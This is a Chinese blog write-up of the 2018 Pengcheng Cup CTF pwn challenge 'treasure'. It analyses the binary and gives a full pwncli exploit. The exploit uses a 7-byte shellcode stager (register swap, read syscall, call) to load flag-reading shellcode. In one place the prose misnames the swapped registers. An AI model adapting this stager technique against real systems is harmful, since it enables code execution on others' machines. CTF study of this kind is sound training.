鹏城杯_2018_treasure
鹏城杯_2018_treasure
总结
根据本题,学习与收获有:
- 算是很简单的
shellcode的题,需要手写shellcode - 在写
shellcode之前,可以先观察下寄存器状态,比如这题就可以很巧妙的去运用read的系统调用 - 使用
xchg交换两个寄存器的值,是一个很方便的指令
题目分析
checksec

题目使用的环境为ubuntu-18.04
函数分析
settreasure

流程为:
- 申请两个大小为
0x1000的匿名映射段 - 往
sea上拷贝了一段shellcode,但是拷贝的位置不可知,是随机的 - 把
data段上的shellcode给清零了
treasure

主要流程为:
-
将
code段的权限改为rwx。这里虽然传入的是0xa,但是mprotect的改变权限的内存大小按照页对齐。 -
允许写入
9个字节的shellcode -
然后执行
shellcode
利用思路
这里要写shellcode,但是只能写9个字节,所以写之前先打个断点看下寄存器的状态:

观察一下:
-
rax为0 -
rdi为0 -
rdx为code+1处 -
rsi为0x400c2a
这个时候,交换一下rsi和rdx的值,然后再syscall,就是直接调用read,这个时候再写入比较长的shellcode然后再call rsi即可。那么只需要三条指令:xchg rdi, rdx; syscall; call rsi,肯定不会超过9字节啦。实测发现只有7个字节。
exp
调试过程
这里我选择填入cat /flag的shellcode。需要注意的是,需要跳过前5个字节,调试过程如下:
触发read:


写入shellcode读取flag:

完整exp
from pwncli import *
cli_script()
p:tube = gift['io']
p.sendlineafter("will you continue?(enter 'n' to quit) :", "y")
payload = asm("xchg rdx, rsi;syscall;call rsi")
p.sendafter("start!!!!", payload)
p.sendline(b"a"*5 + asm(shellcraft.cat("./flag")))
p.interactive()
最后远程打:

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/15229732.html

浙公网安备 33010602011771号